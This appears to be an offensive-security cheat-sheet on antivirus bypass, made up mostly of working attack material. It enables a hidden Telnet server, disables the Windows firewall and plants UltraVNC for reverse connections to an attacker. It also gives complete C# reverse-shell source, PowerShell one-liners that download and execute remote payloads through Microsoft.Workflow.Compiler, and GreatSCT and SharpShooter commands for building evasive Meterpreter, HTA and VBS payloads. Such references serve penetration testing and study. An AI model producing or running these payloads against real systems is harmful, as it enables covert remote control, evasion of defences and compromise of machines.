8 KiB
AV Bypass
Telnet Server
Until Windows10, all Windows came with a Telnet server that you could install as administrator doing:
pkgmgr /iu:"TelnetServer" /quiet
Make it start when the system is started and run it now:
sc config TlntSVR start= auto obj= localsystem
Change telnet port stealth and disable firewall:
tlntadmn config port=80
netsh advfirewall set allprofiles state off
UltraVNC
Download it from: http://www.uvnc.com/downloads/ultravnc.html
Execute winvnc.exe and configure the server:
- Enable the option Disable TrayIcon
- Set a password in VNC Password
- Set a password in View-Only Password
Then, move the binary winvnc.exe and newly created file UltraVNC.ini inside the victim
Reverse connection
The attacker should execute inside his host the binary vncviewer.exe -listen 5900 so it will be prepared to catch a reverse VNC connection.
Then, it should execute inside the victim: winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
GreatSCT
Download it from: https://github.com/GreatSCT/GreatSCT
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
Inside GreatSCT:
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
Now start the lister with msfconsole -r file.rc and execute the xml payload with:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
Current defender will terminate the process very fast.
Compiling our own reverse shell
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
First C# Revershell
Compile it with:
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
Use it with:
back.exe <ATTACKER_IP> <PORT>
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
C# using compiler
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Automatic download and execution:
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
C# obfuscators list: https://github.com/NotPrab/.NET-Obfuscator
C++
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
https://github.com/l0ss/Grouper2
{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}
{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}
Other tools
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
More
{% embed url="https://github.com/EgeBalci/sgn" %}
{% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}